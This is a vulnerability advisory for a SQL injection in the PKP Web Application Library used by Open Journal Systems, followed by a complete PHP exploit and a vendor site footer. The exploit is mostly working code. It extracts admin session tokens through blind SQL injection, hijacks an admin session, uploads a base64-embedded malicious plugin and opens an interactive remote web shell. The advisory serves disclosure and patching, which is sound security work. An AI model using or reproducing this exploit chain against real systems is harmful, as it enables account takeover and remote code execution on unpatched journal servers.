----------------------------------------------------------------------
PKP-WAL <= 3.5.0-1 (Institution Collector) SQL Injection Vulnerability
----------------------------------------------------------------------
[-] Software Links:
https://pkp.sfu.ca
https://github.com/pkp/pkp-lib
[-] Affected Versions:
PKP Web Application Library (aka PKP-WAL or pkp-lib) version 3.4.0-9
and prior versions, and version 3.5.0-1 and prior versions, as used in
Open Journal Systems (OJS), Open Monograph Press (OMP), and Open
Preprint Systems (OPS).
[-] Vulnerability Description:
The vulnerability is located in the /classes/institution/Collector.php
script. Specifically, into the Collector::getQueryBuilder() method,
where user input passed through the "searchPhrase" GET parameter is
not properly sanitized before being used to construct a SQL query at
lines 143 and 148 by leveraging the DB::raw() method. This can be
exploited by malicious users to e.g. read sensitive data from the
database through boolean-based or time-based SQL Injection attacks.
Successful exploitation of this vulnerability requires an account with
permissions to access the .../api/v1/institutions API endpoint, such
as a "Journal Editor" or "Production Editor" user account on OJS.
[-] Proof of Concept:
https://karmainsecurity.com/pocs/CVE-2025-67889.php
[-] Solution:
Upgrade to versions 3.4.0-10, 3.5.0-2, or later.
[-] Disclosure Timeline:
[25/10/2025] - Vendor notified
[26/10/2025] - Vendor fixed the issue and opened a public GitHub
issue: https://github.com/pkp/pkp-lib/issues/11977
[12/11/2025] - CVE identifier requested
[18/11/2025] - Version 3.4.0-10 released
[12/12/2025] - CVE identifier assigned
[29/11/2025] - Version 3.5.0-2 released
[23/12/2025] - Publication of this advisory
[-] CVE Reference:
The Common Vulnerabilities and Exposures program (cve.org) has
assigned the name CVE-2025-67889 to this vulnerability.
[-] Credits:
Vulnerability discovered by Egidio Romano.
[-] Original Advisory:
http://karmainsecurity.com/KIS-2025-10
--- packet storm added poc ---
<?php
/*
----------------------------------------------------------------------
PKP-WAL <= 3.5.0-1 (Institution Collector) SQL Injection Vulnerability
----------------------------------------------------------------------
author..............: Egidio Romano aka EgiX
mail................: n0b0d13s[at]gmail[dot]com
software link.......: https://github.com/pkp/pkp-lib
+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+
[-] Original Advisory:
https://karmainsecurity.com/KIS-2025-10
*/
set_time_limit(0);
error_reporting(E_ERROR);
if (!extension_loaded("curl")) die("[-] cURL extension required!\n");
if ($argc != 4) die("\nUsage: php $argv[0] <URL> <Username> <Password>\n\n");
function sql_injection($sql)
{
global $ch, $url;
curl_setopt($ch, CURLOPT_POST, false);
$sql = str_replace(" ", "/**/", $sql);
$min = true;
$idx = 1;
while (1)
{
$test = 256;
for ($i = 7; $i >= 0; $i--)
{
$test = $min ? $test - pow(2, $i) : $test + pow(2, $i);
$sqli = rawurlencode("')))OR(1)RLIKE(IF(ORD(SUBSTR(({$sql}),{$idx},1))<{$test},0x28,1))#");
curl_setopt($ch, CURLOPT_URL, "{$url}api/v1/institutions?searchPhrase={$sqli}");
$min = preg_match("/Internal Server Error/i", curl_exec($ch));
}
if (($chr = $min ? $test - 1 : $test) == 0 or $chr == 255) break;
$data .= chr($chr); $min = true; $idx++;
print "\r[*] Token: {$data}";
}
return $data;
}
$url = $argv[1];
$usr = $argv[2];
$pwd = $argv[3];
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
//curl_setopt($ch, CURLOPT_PROXY, "http://127.0.0.1:8080");
print "[+] Performing login with username '{$usr}' and password '{$pwd}'\n";
curl_setopt($ch, CURLOPT_URL, "{$url}login/signIn");
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(["username" => $usr, "password" => $pwd]));
$login = curl_exec($ch);
if (!preg_match('/302 Found/i', $login)) die("[-] Login failed!\n");
if (!preg_match_all('/Cookie: .*SID=([^;]+)/i', $login, $cookie)) die("[-] Session ID not found!\n");
$sess_cookie = (count($cookie[0]) == 2) ? $cookie[0][1] : $cookie[0][0];
curl_setopt($ch, CURLOPT_HTTPHEADER, [$sess_cookie]);
$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $url.'../../dbscripts/xml/version.xml');
curl_setopt($ch2, CURLOPT_HEADER, true);
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch2, CURLOPT_SSL_VERIFYHOST, false);
//curl_setopt($ch2, CURLOPT_PROXY, "http://127.0.0.1:8080");
print "[+] Checking app version\n";
if (preg_match('/<tag>3_5_0/', curl_exec($ch2)))
{
print "[-] Version is 3.5.0.x\n";
$sub_query = "SELECT 1 a, 2 b, 3 c, 4 d, 5 e, 6 f UNION SELECT * FROM sessions";
}
else
{
print "[-] Version is < 3.5.0\n";
$sub_query = "SELECT 1 a, 2 b, 3 c, 4 d, 5 e, 6 f, 7 g, 8 h, 9 i UNION SELECT * FROM sessions";
}
print "[+] Checking admin session tokens\n";
$index = 0;
$found = false;
curl_setopt($ch2, CURLOPT_URL, $url.'$$$call$$$/grid/settings/plugins/settings-plugin-grid/upload-plugin');
while (!$found)
{
print "\n[+] Fetching token number ".($index+1)."\n";
$sid = sql_injection("SELECT a FROM ({$sub_query}) x WHERE a!=1 AND b=1 ORDER BY a ASC LIMIT {$index},1");
if (!strlen($sid)) die(($index == 0) ? "[-] No admin tokens found! :(\n" : "[-] No more tokens! :(\n");
curl_setopt($ch2, CURLOPT_HTTPHEADER, [substr($sess_cookie, 0, -strlen($sid)) . $sid]);
if (preg_match('/"csrfToken\\\\" value=\\\\"([^\\\\]+)/', curl_exec($ch2), $csrf)) $found = true;
else { print "\n[+] Not a valid token\n"; $index++; }
}
print "\n[+] Admin session token valid!\n\n[+] Uploading malicious plugin\n";
$pluginName = "backup-v2_0_5-0.tar.gz";
@file_put_contents($pluginName, base64_decode("H4sICBzk/2gAA2JhY2t1cC12Ml8wXzUtMC50YXIA7Zb7b9MwEMf7K/krTDWpncQSJ80D0awTbOUhBFRrmTQxVKWJSa15jhU7sIL2v3N5lHXTYAOtGyB/FMnN3eV8fnxdz6L4uBBWa51gjAOMUdX6XtVix63bGtSyPYz9APs48FrY9noe+L21VtVQSBXlUMpxRBWjnJMvMuN/kGc5kGX7F3A+p+6F+V1lVq+/nBPGTDEX66ijnBDfd8vWDjy82lbYjlPWFwTwA3vl+ju+57cQXkcxl1muP0np6a/irvP/o4Q7sOhI5JQr1JkCnT4SkZRqnhfdWSSJ704TEmcJ6W5Mx8P9g+H+h87LyWQ03e183NzsX/p0Z2Dc94g0v0Oj/88klzTj5ukJu/0+Kv27P9e/67m1/gMfDqge6L/n+I7W/10Q7sCSo2b5t9u2iduIcNA75el2+/3k+dbjNog6fLj3bndyOBouQ9H4cDwZvkFt07Tqh9GZJY6FlajEEqxIKT9oNhVY2pCi+XJgPAgjIRiNI1W+1jswtFZtEKIWggzqPNJMCSc5jUOrsoI3J4zA4TRwTGx6Jg6tpQF8SaTAgR1vC8MThFZlAAeLvi62WBYlAzu0zl/AEzM48gbPqkpGVZ+hVduM0PpR932v1Tpo9L869Fu/Blyn/8AJlvq3ezbE2S7cALX+74Lq/98weHRCpIhigp6ORkeN7I4a2R3Vm6RvGIUkaPT6POBFHVDvG/BXmkGrmwmRU0V4ItGFUOObgQBRzEDy6FPB41L2KIdJlork3Q04B0ia5YtHaENEag7NSUT5bsYV5HuVoG3EC8Y2n6BZlrEqV52xJCeqyDlSeUH6lfHMuLK3lKg9KgWLFm9h9F1IJhVcZtKr03WqK3Ln2oxExjkV5ettZKRyTBWpJ6174+Ge/ZdHlUaj0Wg0Go1Go9FoNBqNRqPRaDQajeYGfAcGciK9ACgAAA=="));
curl_setopt($ch2, CURLOPT_URL, $url.'$$$call$$$/grid/settings/plugins/settings-plugin-grid/upload-plugin-file?function=upload');
curl_setopt($ch2, CURLOPT_POSTFIELDS, ["name" => $pluginName, "uploadedFile" => new CURLFile($pluginName)]);
if (!preg_match('/"temporaryFileId":(\d+)/', curl_exec($ch2), $fileId)) die("[-] Upload failed!\n");
print "[+] Saving malicious plugin\n";
curl_setopt($ch2, CURLOPT_URL, $url.'$$$call$$$/grid/settings/plugins/settings-plugin-grid/save-upload-plugin?function=upload');
curl_setopt($ch2, CURLOPT_POSTFIELDS, http_build_query(["temporaryFileId" => $fileId[1], "csrfToken" => $csrf[1]]));
if (!preg_match('/"status":true/', curl_exec($ch2))) die("[-] Saving failed!\n");
print "[+] Launching shell\n";
curl_setopt($ch, CURLOPT_URL, "{$url}../../plugins/generic/backup/shell.php");
curl_setopt($ch, CURLOPT_POST, false);
while(1)
{
print "\npkp-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
curl_setopt($ch, CURLOPT_HTTPHEADER, ["C: ".base64_encode($cmd)]);
preg_match('/____(.*)____/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation